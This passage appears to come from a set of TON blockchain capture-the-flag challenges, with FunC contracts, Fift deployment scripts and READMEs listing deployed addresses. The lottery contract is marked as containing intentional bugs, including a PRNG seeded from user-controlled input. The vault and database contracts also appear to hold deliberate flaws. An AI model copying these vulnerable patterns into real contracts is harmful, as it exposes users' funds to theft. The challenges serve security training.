asm(pivot dict key_len -> 1 0 2) "DICTUGETPREV" "NULLSWAPIFNOT2"; 576 | (int, slice, int) udict_get_preveq?(cell dict, int key_len, int pivot) asm(pivot dict key_len -> 1 0 2) "DICTUGETPREVEQ" "NULLSWAPIFNOT2"; 577 | (int, slice, int) idict_get_next?(cell dict, int key_len, int pivot) asm(pivot dict key_len -> 1 0 2) "DICTIGETNEXT" "NULLSWAPIFNOT2"; 578 | (int, slice, int) idict_get_nexteq?(cell dict, int key_len, int pivot) asm(pivot dict key_len -> 1 0 2) "DICTIGETNEXTEQ" "NULLSWAPIFNOT2"; 579 | (int, slice, int) idict_get_prev?(cell dict, int key_len, int pivot) asm(pivot dict key_len -> 1 0 2) "DICTIGETPREV" "NULLSWAPIFNOT2"; 580 | (int, slice, int) idict_get_preveq?(cell dict, int key_len, int pivot) asm(pivot dict key_len -> 1 0 2) "DICTIGETPREVEQ" "NULLSWAPIFNOT2"; 581 | 582 | ;;; Creates an empty dictionary, which is actually a null value. Equivalent to PUSHNULL 583 | cell new_dict() asm "NEWDICT"; 584 | ;;; Checks whether a dictionary is empty. Equivalent to cell_null?. 585 | int dict_empty?(cell c) asm "DICTEMPTY"; 586 | 587 | 588 | {- Prefix dictionary primitives -} 589 | (slice, slice, slice, int) pfxdict_get?(cell dict, int key_len, slice key) asm(key dict key_len) "PFXDICTGETQ" "NULLSWAPIFNOT2"; 590 | (cell, int) pfxdict_set?(cell dict, int key_len, slice key, slice value) asm(value key dict key_len) "PFXDICTSET"; 591 | (cell, int) pfxdict_delete?(cell dict, int key_len, slice key) asm(key dict key_len) "PFXDICTDEL"; 592 | 593 | ;;; Returns the value of the global configuration parameter with integer index `i` as a `cell` or `null` value. 594 | cell config_param(int x) asm "CONFIGOPTPARAM"; 595 | ;;; Checks whether c is a null. Note, that FunC also has polymorphic null? built-in. 596 | int cell_null?(cell c) asm "ISNULL"; 597 | 598 | ;;; Creates an output action which would reserve exactly amount nanotoncoins (if mode = 0), at most amount nanotoncoins (if mode = 2), or all but amount nanotoncoins (if mode = 1 or mode = 3), from the remaining balance of the account. It is roughly equivalent to creating an outbound message carrying amount nanotoncoins (or b − amount nanotoncoins, where b is the remaining balance) to oneself, so that the subsequent output actions would not be able to spend more money than the remainder. Bit +2 in mode means that the external action does not fail if the specified amount cannot be reserved; instead, all remaining balance is reserved. Bit +8 in mode means `amount <- -amount` before performing any further actions. Bit +4 in mode means that amount is increased by the original balance of the current account (before the compute phase), including all extra currencies, before performing any other checks and actions. Currently, amount must be a non-negative integer, and mode must be in the range 0..15. 599 | () raw_reserve(int amount, int mode) impure asm "RAWRESERVE"; 600 | ;;; Similar to raw_reserve, but also accepts a dictionary extra_amount (represented by a cell or null) with extra currencies. In this way currencies other than TonCoin can be reserved. 601 | () raw_reserve_extra(int amount, cell extra_amount, int mode) impure asm "RAWRESERVEX"; 602 | ;;; Sends a raw message contained in msg, which should contain a correctly serialized object Message X, with the only exception that the source address is allowed to have dummy value addr_none (to be automatically replaced with the current smart contract address), and ihr_fee, fwd_fee, created_lt and created_at fields can have arbitrary values (to be rewritten with correct values during the action phase of the current transaction). Integer parameter mode contains the flags. Currently mode = 0 is used for ordinary messages; mode = 128 is used for messages that are to carry all the remaining balance of the current smart contract (instead of the value originally indicated in the message); mode = 64 is used for messages that carry all the remaining value of the inbound message in addition to the value initially indicated in the new message (if bit 0 is not set, the gas fees are deducted from this amount); mode' = mode + 1 means that the sender wants to pay transfer fees separately; mode' = mode + 2 means that any errors arising while processing this message during the action phase should be ignored. Finally, mode' = mode + 32 means that the current account must be destroyed if its resulting balance is zero. This flag is usually employed together with +128. 603 | () send_raw_message(cell msg, int mode) impure asm "SENDRAWMSG"; 604 | ;;; Creates an output action that would change this smart contract code to that given by cell new_code. Notice that this change will take effect only after the successful termination of the current run of the smart contract 605 | () set_code(cell new_code) impure asm "SETCODE"; 606 | 607 | ;;; Generates a new pseudo-random unsigned 256-bit integer x. The algorithm is as follows: if r is the old value of the random seed, considered as a 32-byte array (by constructing the big-endian representation of an unsigned 256-bit integer), then its sha512(r) is computed; the first 32 bytes of this hash are stored as the new value r' of the random seed, and the remaining 32 bytes are returned as the next random value x. 608 | int random() impure asm "RANDU256"; 609 | ;;; Generates a new pseudo-random integer z in the range 0..range−1 (or range..−1, if range < 0). More precisely, an unsigned random value x is generated as in random; then z := x * range / 2^256 is computed. 610 | int rand(int range) impure asm "RAND"; 611 | ;;; Returns the current random seed as an unsigned 256-bit Integer. 612 | int get_seed() impure asm "RANDSEED"; 613 | ;;; Sets the random seed to unsigned 256-bit seed. 614 | int set_seed() impure asm "SETRAND"; 615 | ;;; Mixes unsigned 256-bit integer x into the random seed r by setting the random seed to sha256 of the concatenation of two 32-byte strings: the first with the big-endian representation of the old seed r, and the second with the big-endian representation of x. 616 | () randomize(int x) impure asm "ADDRAND"; 617 | ;;; Equivalent to randomize(cur_lt());. 618 | () randomize_lt() impure asm "LTIME" "ADDRAND"; 619 | 620 | ;;; Checks whether the data parts of two slices coinside 621 | int equal_slice_bits (slice a, slice b) asm "SDEQ"; 622 | 623 | ;;; Concatenates two builders 624 | builder store_builder(builder to, builder from) asm "STBR"; 625 | -------------------------------------------------------------------------------- /4. lottery/README.md: -------------------------------------------------------------------------------- 1 | # Lottery 2 | Send any comment to the lottery smart contract with 1 TON and win a jackpot with a 1/10000 chance. 3 | 4 | If you didn't win, your bet will be added to the jackpot. 5 | 6 | Technically, message comment is mixed with transaction logic time to be used as PRNG seed. 7 | 8 | # Address 9 | [EQAb7oOzKXG31RD6Ob9O4tEbVebY2zJo5ARggkf-mWSyQb4M](https://dton.io/a/EQAb7oOzKXG31RD6Ob9O4tEbVebY2zJo5ARggkf-mWSyQb4M) 10 | -------------------------------------------------------------------------------- /4. lottery/build.sh: -------------------------------------------------------------------------------- 1 | func -o lottery-code.fif -SPA lottery.func 2 | -------------------------------------------------------------------------------- /4. lottery/init.fif: -------------------------------------------------------------------------------- 1 | #!/usr/bin/fift -s 2 | "TonUtil.fif" include 3 | "Asm.fif" include 4 | 5 | true =: bounce 6 | <{ 7 | SETCP0 ACCEPT 8 | "lottery-code.fif" include PUSHREF SETCODE 9 | 0 PUSHINT 10 | }>s =: contract_code 11 | 12 | =: contract_storage 13 | 14 | ref, contract_storage ref, b> 15 | dup =: state_init 16 | 17 | dup hashu 0 swap 2constant contract_address 18 | ."new lottery address = " contract_address .addr cr 19 | 20 | ."Non-bounceable address (for init): " contract_address 7 .Addr cr 21 | ."Bounceable address (for later access): " contract_address 6 .Addr cr 22 | 23 | 25 | 2 boc+>B 26 | 27 | "query-init-lottery.boc" tuck B>file 28 | ."(Saved lottery contract creating query to file " type .")" cr 29 | -------------------------------------------------------------------------------- /4. lottery/lottery.func: -------------------------------------------------------------------------------- 1 | {- 2 | 3 | !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! 4 | Contract contains intentional bugs, do not use in production 5 | 6 | -} 7 | 8 | #include "stdlib.func"; 9 | 10 | () recv_internal (msg_value, in_msg_full, in_msg_body) { 11 | throw_unless(1111, msg_value == 1000000000); 12 | 13 | slice cs = in_msg_full.begin_parse(); 14 | int flags = cs~load_uint(4); 15 | 16 | if (flags & 1) { ;; ignore all bounced messages 17 | return (); 18 | } 19 | slice sender_address = cs~load_msg_addr(); 20 | 21 | int seed = cur_lt(); 22 | int seed_size = min(in_msg_body.slice_bits(), 128); 23 | 24 | if(in_msg_body.slice_bits() > 0) { 25 | seed += in_msg_body~load_uint(seed_size); 26 | } 27 | set_seed(seed); 28 | var balance = get_balance().pair_first(); 29 | if(balance > 5000 * 1000000000) { 30 | ;; forbid too large jackpot 31 | raw_reserve( balance - 5000 * 1000000000, 0); 32 | } 33 | if(rand(10000) == 7777) { 34 | var msg = begin_cell() 35 | .store_uint(0x18, 6) 36 | .store_slice(sender_address) 37 | .store_coins(0) 38 | .store_uint(0, 1 + 4 + 4 + 64 + 32 + 1 + 1) 39 | .end_cell(); 40 | send_raw_message(msg, 2 + 128); 41 | } 42 | } 43 | -------------------------------------------------------------------------------- /5. wallet/README.md: -------------------------------------------------------------------------------- 1 | # Asm optimized wallet 2 | No funC code is provided. 3 | Use disassemblers on [tonscan](https://tonscan.org), [towhales](https://tonwhales.com/explorer), [dton](https://dton.io) or [ton.cx](ton.cx) to decode contract and find how to hack it. 4 | 5 | # Address 6 | [EQBe9ZblcnkpGklcpQni_O4Y1_YD-80FSTxF9kd8R53L2hIi](https://ton.cx/address/0QBe9ZblcnkpGklcpQni_O4Y1_YD-80FSTxF9kd8R53L2vRt) 7 | -------------------------------------------------------------------------------- /6. vault/README.md: -------------------------------------------------------------------------------- 1 | # Prize vault 2 | It is generally a good practice to isolate logically unrelated functionality to separate modules or, in the case of TON, to separate smart-contracts. That way it is ofter easier to cover each module with tests and be sure it works as intended. 3 | 4 | This task is dedicated to the system of prize distribution amongst contestant. It is organized as two separate contracts: 5 | prize vault and database. 6 | 7 | Prize vault stores the prize, and for every request check in database whether request sender is a winner and if yes where to send the prize. 8 | 9 | Database is simple hashmap based db, where each contestant may register to set payout address, while admin may set which contestant is the winner. 10 | 11 | # Addresses 12 | 13 | Vault [EQB7QOtPKxZjgo6jDGTk9ZSvgkgZb8wys1-ptFZB2TXC3V3p](https://ton.cx/address/EQB7QOtPKxZjgo6jDGTk9ZSvgkgZb8wys1-ptFZB2TXC3V3p) 14 | Database [EQANhpyzmjSr71mpJIq-fu99gJG9ZH3mMWgildIlz-MbcSd4](https://tonapi.io/account/EQANhpyzmjSr71mpJIq-fu99gJG9ZH3mMWgildIlz-MbcSd4) 15 | Database owner [EQDZmvLf2aW5nhj-eJM6uEZgCNHl--XZ-LP0_gk4lleUh6El](https://dton.io/a/EQDZmvLf2aW5nhj-eJM6uEZgCNHl--XZ-LP0_gk4lleUh6El) 16 | -------------------------------------------------------------------------------- /6. vault/build.sh: -------------------------------------------------------------------------------- 1 | func -o database.fif -SPA stdlib.func database.func 2 | func -o vault.fif -SPA stdlib.func vault.func 3 | -------------------------------------------------------------------------------- /6. vault/common.func: -------------------------------------------------------------------------------- 1 | int slice_data_equal? (slice a, slice b) asm "SDEQ"; 2 | 3 | builder store_std_addr (builder b, int wc, int addr_hash) inline { 4 | return b 5 | .store_uint(4, 3) 6 | .store_uint(wc, 8) 7 | .store_uint(addr_hash, 256); 8 | } 9 | 10 | const int op_register = 0x55e28eea; 11 | const int op_set_winner = 0x1a22d3f4; 12 | const int op_set_vault = 0x40404040; 13 | const int op_not_winner = 0x88776655; 14 | const int op_winner = 0x2345123a; 15 | 16 | 17 | -------------------------------------------------------------------------------- /6. vault/database.func: -------------------------------------------------------------------------------- 1 | #include "common.func"; 2 | 3 | (slice, slice, cell) load_data() { 4 | slice ds = get_data().begin_parse(); 5 | slice vault_address = ds~load_msg_addr(); 6 | slice admin_address = ds~load_msg_addr(); 7 | cell db = ds~load_dict(); 8 | 9 | return (vault_address, admin_address, db); 10 | } 11 | 12 | () save_data(slice vault_address, slice admin_address, cell db) impure { 13 | set_data( 14 | begin_cell() 15 | .store_slice(vault_address) 16 | .store_slice(admin_address) 17 | .store_dict(db) 18 | .end_cell() 19 | ); 20 | } 21 | 22 | ;; Responds to check-winner request 23 | () respond(slice dest, int op, int addr_hash) impure { 24 | var msg = begin_cell() 25 | .store_uint(0x18, 6) 26 | .store_slice(dest) 27 | .store_grams(0) 28 | .store_uint(0, 1 + 4 + 4 + 64 + 32 + 1 + 1) 29 | .store_uint(op, 32) 30 | .store_uint(addr_hash, 256); 31 | send_raw_message(msg.end_cell(), 64); 32 | } 33 | 34 | () recv_internal(int my_balance, int msg_value, cell in_msg_full, slice in_msg_body) impure { 35 | slice cs = in_msg_full.begin_parse(); 36 | cs~skip_bits(4); 37 | slice sender_address = cs~load_msg_addr(); 38 | 39 | var (vault_address, admin_address, db) = load_data(); 40 | 41 | if (slice_data_equal?(sender_address, vault_address)) { 42 | 43 | int requester_addr_hash = in_msg_body~load_uint(256); 44 | 45 | var (entry, f) = db.udict_get?(256, requester_addr_hash); 46 | 47 | int winner = 0; 48 | int award_addr_hash = null(); 49 | if (f) { 50 | winner = entry~load_uint(1); 51 | slice award_address = entry~load_msg_addr(); 52 | (_, award_addr_hash) = parse_std_addr(award_address); 53 | } 54 | 55 | if (winner) { 56 | respond(vault_address, op_winner, award_addr_hash); 57 | } else { 58 | respond(vault_address, op_not_winner, requester_addr_hash); 59 | } 60 | } else { 61 | int op = in_msg_body~load_uint(32); 62 | 63 | if (op == op_register) { 64 | 65 | slice withdrawal_address = in_msg_body~load_msg_addr(); 66 | 67 | var (_, sender_addr_hash) = parse_std_addr(sender_address); 68 | 69 | db~udict_set_builder( 70 | 256, sender_addr_hash, 71 | begin_cell() 72 | .store_uint(0, 1) ;; not winner by default 73 | .store_slice(withdrawal_address) 74 | ); 75 | } elseif (op == op_set_winner) { 76 | 77 | throw_unless(707, slice_data_equal?(sender_address, admin_address)); 78 | 79 | slice winner_address = in_msg_body~load_msg_addr(); 80 | var (_, winner_addr_hash) = parse_std_addr(winner_address); 81 | 82 | var (entry, f) = db.udict_get?(256, winner_addr_hash); 83 | entry~skip_bits(1); 84 | slice withdrawal_address = entry~load_msg_addr(); 85 | 86 | db~udict_set_builder( 87 | 256, winner_addr_hash, 88 | begin_cell() 89 | .store_uint(1, 1) ;; this address wins 90 | .store_slice(withdrawal_address) 91 | ); 92 | } elseif (op == op_set_vault) { 93 | throw_unless(808, slice_data_equal?(sender_address, admin_address)); 94 | vault_address = in_msg_body~load_msg_addr(); 95 | } else { 96 | throw(1010); 97 | } 98 | save_data(vault_address, admin_address, db); 99 | } 100 | } 101 | 102 | 103 | ;; Unused 104 | cell get_initial_storage(slice admin_address) method_id(3333) { 105 | var initial_storage = begin_cell() 106 | .store_std_addr(0, 0) 107 | .store_slice(admin_address) 108 | .store_dict(new_dict()) 109 | .end_cell(); 110 | 111 | return initial_storage; 112 | } 113 | -------------------------------------------------------------------------------- /6. vault/init.fif: -------------------------------------------------------------------------------- 1 | #!/usr/bin/fift -s 2 | "TonUtil.fif" include 3 | "Asm.fif" include 4 | 5 | { ."Script for preparation Vault and Database contracts, one input parameter - owner address" cr ""abort } : usage 6 | 7 | $# dup 1 < swap 2 > or ' usage if 8 | 1 :$1..n 9 | $1 =: owner_addr 10 | 11 | <{ 12 | SETCP0 ACCEPT 13 | "database.fif" include PUSHREF SETCODE 14 | 0 PUSHINT 15 | }>s =: db_code 16 | 17 | 18 | smca 0= abort"bad address" 27 | drop // flag z 28 | addr, 29 | 30 | // Default registrations - empty dict 31 | b{0} s, 32 | 33 | b> 34 | =: db_storage 35 | 36 | 37 | ref, db_storage ref, b> 38 | =: db_state_init 39 | 40 | db_state_init 41 | 42 | hashu 0 swap 2constant db_address 43 | 44 | 45 | // ================================================================ 46 | // Vault 47 | 48 | 49 | 50 | true =: bounce 51 | <{ 52 | SETCP0 ACCEPT 53 | "vault.fif" include PUSHREF SETCODE 54 | 0 PUSHINT 55 | }>s =: vault_code 56 | 57 | .s 67 | =: vault_storage 68 | 69 | ref, vault_storage ref, b> 70 | dup =: va_state_init 71 | 72 | dup hashu 0 swap 2constant vault_address 73 | ."new vault address = " vault_address .addr cr 74 | 75 | ."Non-bounceable address (for init): " vault_address 7 .Addr cr 76 | ."Bounceable address (for later access): " vault_address 6 .Addr cr 77 | 78 | 80 | 2 boc+>B 81 | 82 | "query-init-vault.boc" tuck B>file 83 | ."(Saved vault contract creating query to file " type .")" cr 84 | 85 | 86 | cr cr cr 87 | // =========================================================== 88 | // db again 89 | 108 | 2 boc+>B 109 | 110 | "query-init-database.boc" tuck B>file 111 | ."(Saved db contract creating query to file " type .")" cr 112 | 113 | 2 boc+>B "set-vault.boc" tuck B>file 114 | ."set-vault.boc hould be sent to " db_address 7 .Addr cr 115 | -------------------------------------------------------------------------------- /6. vault/stdlib.func: -------------------------------------------------------------------------------- 1 | ;; Standard library for funC 2 | ;; 3 | 4 | {- 5 | # Tuple manipulation primitives 6 | The names and the types are mostly self-explaining. 7 | See [polymorhism with forall](https://ton.org/docs/#/func/functions?id=polymorphism-with-forall) 8 | for more info on the polymorphic functions. 9 | 10 | Note that currently values of atomic type `tuple` can't be cast to composite tuple type (e.g. `[int, cell]`) 11 | and vise versa. 12 | -} 13 | 14 | {- 15 | # Lisp-style lists 16 | 17 | Lists can be represented as nested 2-elements tuples. 18 | Empty list is conventionally represented as TVM `null` value (it can be obtained by calling [null()]). 19 | For example, tuple `(1, (2, (3, null)))` represents list `[1, 2, 3]`. Elements of a list can be of different types. 20 | -} 21 | 22 | ;;; Adds an element to the beginning of lisp-style list. 23 | forall X -> tuple cons(X head, tuple tail) asm "CONS"; 24 | 25 | ;;; Extracts the head and the tail of lisp-style list. 26 | forall X -> (X, tuple) uncons(tuple list) asm "UNCONS"; 27 | 28 | ;;; Extracts the tail and the head of lisp-style list. 29 | forall X -> (tuple, X) list_next(tuple list) asm( -> 1 0) "UNCONS"; 30 | 31 | ;;; Returns the head of lisp-style list. 32 | forall X -> X car(tuple list) asm "CAR"; 33 | 34 | ;;; Returns the tail of lisp-style list. 35 | tuple cdr(tuple list) asm "CDR"; 36 | 37 | ;;; Creates tuple with zero elements. 38 | tuple empty_tuple() asm "NIL"; 39 | 40 | ;;; Appends a value `x` to a `Tuple t = (x1, ..., xn)`, but only if the resulting `Tuple t' = (x1, ..., xn, x)` 41 | ;;; is of length at most 255. Otherwise throws a type check exception. 42 | forall X -> tuple tpush(tuple t, X value) asm "TPUSH"; 43 | forall X -> (tuple, ()) ~tpush(tuple t, X value) asm "TPUSH"; 44 | 45 | ;;; Creates a tuple of length one with given argument as element. 46 | forall X -> [X] single(X x) asm "SINGLE"; 47 | 48 | ;;; Unpacks a tuple of length one 49 | forall X -> X unsingle([X] t) asm "UNSINGLE"; 50 | 51 | ;;; Creates a tuple of length two with given arguments as elements. 52 | forall X, Y -> [X, Y] pair(X x, Y y) asm "PAIR"; 53 | 54 | ;;; Unpacks a tuple of length two 55 | forall X, Y -> (X, Y) unpair([X, Y] t) asm "UNPAIR"; 56 | 57 | ;;; Creates a tuple of length three with given arguments as elements. 58 | forall X, Y, Z -> [X, Y, Z] triple(X x, Y y, Z z) asm "TRIPLE"; 59 | 60 | ;;; Unpacks a tuple of length three 61 | forall X, Y, Z -> (X, Y, Z) untriple([X, Y, Z] t) asm "UNTRIPLE"; 62 | 63 | ;;; Creates a tuple of length four with given arguments as elements. 64 | forall X, Y, Z, W -> [X, Y, Z, W] tuple4(X x, Y y, Z z, W w) asm "4 TUPLE"; 65 | 66 | ;;; Unpacks a tuple of length four 67 | forall X, Y, Z, W -> (X, Y, Z, W) untuple4([X, Y, Z, W] t) asm "4 UNTUPLE"; 68 | 69 | ;;; Returns the first element of a tuple (with unknown element types). 70 | forall X -> X first(tuple t) asm "FIRST"; 71 | 72 | ;;; Returns the second element of a tuple (with unknown element types). 73 | forall X -> X second(tuple t) asm "SECOND"; 74 | 75 | ;;; Returns the third element of a tuple (with unknown element types). 76 | forall X -> X third(tuple t) asm "THIRD"; 77 | 78 | ;;; Returns the fourth element of a tuple (with unknown element types). 79 | forall X -> X fourth(tuple t) asm "3 INDEX"; 80 | 81 | ;;; Returns the first element of a pair tuple. 82 | forall X, Y -> X pair_first([X, Y] p) asm "FIRST"; 83 | 84 | ;;; Returns the second element of a pair tuple. 85 | forall X, Y -> Y pair_second([X, Y] p) asm "SECOND"; 86 | 87 | ;;; Returns the first element of a triple tuple. 88 | forall X, Y, Z -> X triple_first([X, Y, Z] p) asm "FIRST"; 89 | 90 | ;;; Returns the second element of a triple tuple. 91 | forall X, Y, Z -> Y triple_second([X, Y, Z] p) asm "SECOND"; 92 | 93 | ;;; Returns the third element of a triple tuple. 94 | forall X, Y, Z -> Z triple_third([X, Y, Z] p) asm "THIRD"; 95 | 96 | 97 | ;;; Push null element (casted to given type) 98 | ;;; By the TVM type `Null` FunC represents absence of a value of some atomic type. 99 | ;;; So `null` can actually have any atomic type. 100 | forall X -> X null() asm "PUSHNULL"; 101 | 102 | ;;; Moves a variable [x] to the top of the stack 103 | forall X -> (X, ()) ~impure_touch(X x) impure asm "NOP"; 104 | 105 | 106 | 107 | ;;; Returns the current Unix time as an Integer 108 | int now() asm "NOW"; 109 | 110 | ;;; Returns the internal address of the current smart contract as a Slice with a `MsgAddressInt`. 111 | ;;; If necessary, it can be parsed further using primitives such as [parse_std_addr]. 112 | slice my_address() asm "MYADDR"; 113 | 114 | ;;; Returns the balance of the smart contract as a tuple consisting of an int 115 | ;;; (balance in nanotoncoins) and a `cell` 116 | ;;; (a dictionary with 32-bit keys representing the balance of "extra currencies") 117 | ;;; at the start of Computation Phase. 118 | ;;; Note that RAW primitives such as [send_raw_message] do not update this field. 119 | [int, cell] get_balance() asm "BALANCE"; 120 | 121 | ;;; Returns the logical time of the current transaction. 122 | int cur_lt() asm "LTIME"; 123 | 124 | ;;; Returns the starting logical time of the current block. 125 | int block_lt() asm "BLOCKLT"; 126 | 127 | ;;; Computes the representation hash of a `cell` [c] and returns it as a 256-bit unsigned integer `x`. 128 | ;;; Useful for signing and checking signatures of arbitrary entities represented by a tree of cells. 129 | int cell_hash(cell c) asm "HASHCU"; 130 | 131 | ;;; Computes the hash of a `slice s` and returns it as a 256-bit unsigned integer `x`. 132 | ;;; The result is the same as if an ordinary cell containing only data and references from `s` had been created 133 | ;;; and its hash computed by [cell_hash]. 134 | int slice_hash(slice s) asm "HASHSU"; 135 | 136 | ;;; Computes sha256 of the data bits of `slice` [s]. If the bit length of `s` is not divisible by eight, 137 | ;;; throws a cell underflow exception. The hash value is returned as a 256-bit unsigned integer `x`. 138 | int string_hash(slice s) asm "SHA256U"; 139 | 140 | {- 141 | # Signature checks 142 | -} 143 | 144 | ;;; Checks the Ed25519-`signature` of a `hash` (a 256-bit unsigned integer, usually computed as the hash of some data) 145 | ;;; using [public_key] (also represented by a 256-bit unsigned integer). 146 | ;;; The signature must contain at least 512 data bits; only the first 512 bits are used. 147 | ;;; The result is `−1` if the signature is valid, `0` otherwise. 148 | ;;; Note that `CHKSIGNU` creates a 256-bit slice with the hash and calls `CHKSIGNS`. 149 | ;;; That is, if [hash] is computed as the hash of some data, these data are hashed twice, 150 | ;;; the second hashing occurring inside `CHKSIGNS`. 151 | int check_signature(int hash, slice signature, int public_key) asm "CHKSIGNU"; 152 | 153 | ;;; Checks whether [signature] is a valid Ed25519-signature of the data portion of `slice data` using `public_key`, 154 | ;;; similarly to [check_signature]. 155 | ;;; If the bit length of [data] is not divisible by eight, throws a cell underflow exception. 156 | ;;; The verification of Ed25519 signatures is the standard one, 157 | ;;; with sha256 used to reduce [data] to the 256-bit number that is actually signed. 158 | int check_data_signature(slice data, slice signature, int public_key) asm "CHKSIGNS"; 159 | 160 | {--- 161 | # Computation of boc size 162 | The primitives below may be useful for computing storage fees of user-provided data. 163 | -} 164 | 165 | ;;; Returns `(x, y, z, -1)` or `(null, null, null, 0)`. 166 | ;;; Recursively computes the count of distinct cells `x`, data bits `y`, and cell references `z` 167 | ;;; in the DAG rooted at `cell` [c], effectively returning the total storage used by this DAG taking into account 168 | ;;; the identification of equal cells. 169 | ;;; The values of `x`, `y`, and `z` are computed by a depth-first traversal of this DAG, 170 | ;;; with a hash table of visited cell hashes used to prevent visits of already-visited cells. 171 | ;;; The total count of visited cells `x` cannot exceed non-negative [max_cells]; 172 | ;;; otherwise the computation is aborted before visiting the `(max_cells + 1)`-st cell and 173 | ;;; a zero flag is returned to indicate failure. If [c] is `null`, returns `x = y = z = 0`. 174 | (int, int, int) compute_data_size(cell c, int max_cells) impure asm "CDATASIZE"; 175 | 176 | ;;; Similar to [compute_data_size?], but accepting a `slice` [s] instead of a `cell`. 177 | ;;; The returned value of `x` does not take into account the cell that contains the `slice` [s] itself; 178 | ;;; however, the data bits and the cell references of [s] are accounted for in `y` and `z`. 179 | (int, int, int) slice_compute_data_size(slice s, int max_cells) impure asm "SDATASIZE"; 180 | 181 | ;;; A non-quiet version of [compute_data_size?] that throws a cell overflow exception (`8`) on failure. 182 | (int, int, int, int) compute_data_size?(cell c, int max_cells) asm "CDATASIZEQ NULLSWAPIFNOT2 NULLSWAPIFNOT"; 183 | 184 | ;;; A non-quiet version of [slice_compute_data_size?] that throws a cell overflow exception (8) on failure. 185 | (int, int, int, int) slice_compute_data_size?(cell c, int max_cells) asm "SDATASIZEQ NULLSWAPIFNOT2 NULLSWAPIFNOT"; 186 | 187 | ;;; Throws an exception with exit_code excno if cond is not 0 (commented since implemented in compilator) 188 | ;; () throw_if(int excno, int cond) impure asm "THROWARGIF"; 189 | 190 | {-- 191 | # Debug primitives 192 | Only works for local TVM execution with debug level verbosity 193 | -} 194 | ;;; Dumps the stack (at most the top 255 values) and shows the total stack depth. 195 | () dump_stack() impure asm "DUMPSTK"; 196 | 197 | {- 198 | # Persistent storage save and load 199 | -} 200 | 201 | ;;; Returns the persistent contract storage cell. It can be parsed or modified with slice and builder primitives later. 202 | cell get_data() asm "c4 PUSH"; 203 | 204 | ;;; Sets `cell` [c] as persistent contract data. You can update persistent contract storage with this primitive. 205 | () set_data(cell c) impure asm "c4 POP"; 206 | 207 | {- 208 | # Continuation primitives 209 | -} 210 | ;;; Usually `c3` has a continuation initialized by the whole code of the contract. It is used for function calls. 211 | ;;; The primitive returns the current value of `c3`. 212 | cont get_c3() impure asm "c3 PUSH"; 213 | 214 | ;;; Updates the current value of `c3`. Usually, it is used for updating smart contract code in run-time. 215 | ;;; Note that after execution of this primitive the current code 216 | ;;; (and the stack of recursive function calls) won't change, 217 | ;;; but any other function call will use a function from the new code. 218 | () set_c3(cont c) impure asm "c3 POP"; 219 | 220 | ;;; Transforms a `slice` [s] into a simple ordinary continuation `c`, with `c.code = s` and an empty stack and savelist. 221 | cont bless(slice s) impure asm "BLESS"; 222 | 223 | {--- 224 | # Gas related primitives 225 | -} 226 | 227 | ;;; Sets current gas limit `gl` to its maximal allowed value `gm`, and resets the gas credit `gc` to zero, 228 | ;;; decreasing the value of `gr` by `gc` in the process. 229 | ;;; In other words, the current smart contract agrees to buy some gas to finish the current transaction. 230 | ;;; This action is required to process external messages, which bring no value (hence no gas) with themselves. 231 | ;;; 232 | ;;; For more details check [accept_message effects](https://ton.org/docs/#/smart-contracts/accept). 233 | () accept_message() impure asm "ACCEPT"; 234 | 235 | ;;; Sets current gas limit `gl` to the minimum of limit and `gm`, and resets the gas credit `gc` to zero. 236 | ;;; If the gas consumed so far (including the present instruction) exceeds the resulting value of `gl`, 237 | ;;; an (unhandled) out of gas exception is thrown before setting new gas limits. 238 | ;;; Notice that [set_gas_limit] with an argument `limit ≥ 2^63 − 1` is equivalent to [accept_message]. 239 | () set_gas_limit(int limit) impure asm "SETGASLIMIT"; 240 | 241 | ;;; Commits the current state of registers `c4` (“persistent data”) and `c5` (“actions”) 242 | ;;; so that the current execution is considered “successful” with the saved values even if an exception 243 | ;;; in Computation Phase is thrown later. 244 | () commit() impure asm "COMMIT"; 245 | 246 | ;;; Not implemented 247 | ;;() buy_gas(int gram) impure asm "BUYGAS"; 248 | 249 | ;;; Computes the amount of gas that can be bought for `amount` nanoTONs, 250 | ;;; and sets `gl` accordingly in the same way as [set_gas_limit]. 251 | () buy_gas(int amount) impure asm "BUYGAS"; 252 | 253 | ;;; Computes the minimum of two integers [x] and [y]. 254 | int min(int x, int y) asm "MIN"; 255 | 256 | ;;; Computes the maximum of two integers [x] and [y]. 257 | int max(int x, int y) asm "MAX"; 258 | 259 | ;;; Sorts two integers. 260 | (int, int) minmax(int x, int y) asm "MINMAX"; 261 | 262 | ;;; Computes the absolute value of an integer [x]. 263 | int abs(int x) asm "ABS"; 264 | 265 | {- 266 | # Slice primitives 267 | 268 | It is said that a primitive _loads_ some data, 269 | if it returns the data and the remainder of the slice 270 | (so it can also be used as [modifying method](https://ton.org/docs/#/func/statements?id=modifying-methods)). 271 | 272 | It is said that a primitive _preloads_ some data, if it returns only the data 273 | (it can be used as [non-modifying method](https://ton.org/docs/#/func/statements?id=non-modifying-methods)). 274 | 275 | Unless otherwise stated, loading and preloading primitives read the data from a prefix of the slice. 276 | -} 277 | 278 | 279 | ;;; Converts a `cell` [c] into a `slice`. Notice that [c] must be either an ordinary cell, 280 | ;;; or an exotic cell (see [TVM.pdf](https://ton-blockchain.github.io/docs/tvm.pdf), 3.1.2) 281 | ;;; which is automatically loaded to yield an ordinary cell `c'`, converted into a `slice` afterwards. 282 | slice begin_parse(cell c) asm "CTOS"; 283 | 284 | ;;; Checks if [s] is empty. If not, throws an exception. 285 | () end_parse(slice s) impure asm "ENDS"; 286 | 287 | ;;; Loads the first reference from the slice. 288 | (slice, cell) load_ref(slice s) asm( -> 1 0) "LDREF"; 289 | 290 | ;;; Preloads the first reference from the slice. 291 | cell preload_ref(slice s) asm "PLDREF"; 292 | 293 | {- Functions below are commented because are implemented on compilator level for optimisation -} 294 | 295 | ;;; Loads a signed [len]-bit integer from a slice [s]. 296 | ;; (slice, int) ~load_int(slice s, int len) asm(s len -> 1 0) "LDIX"; 297 | 298 | ;;; Loads an unsigned [len]-bit integer from a slice [s]. 299 | ;; (slice, int) ~load_uint(slice s, int len) asm( -> 1 0) "LDUX"; 300 | 301 | ;;; Preloads a signed [len]-bit integer from a slice [s]. 302 | ;; int preload_int(slice s, int len) asm "PLDIX"; 303 | 304 | ;;; Preloads an unsigned [len]-bit integer from a slice [s]. 305 | ;; int preload_uint(slice s, int len) asm "PLDUX"; 306 | 307 | ;;; Loads the first `0 ≤ len ≤ 1023` bits from slice [s] into a separate `slice s''`. 308 | ;; (slice, slice) load_bits(slice s, int len) 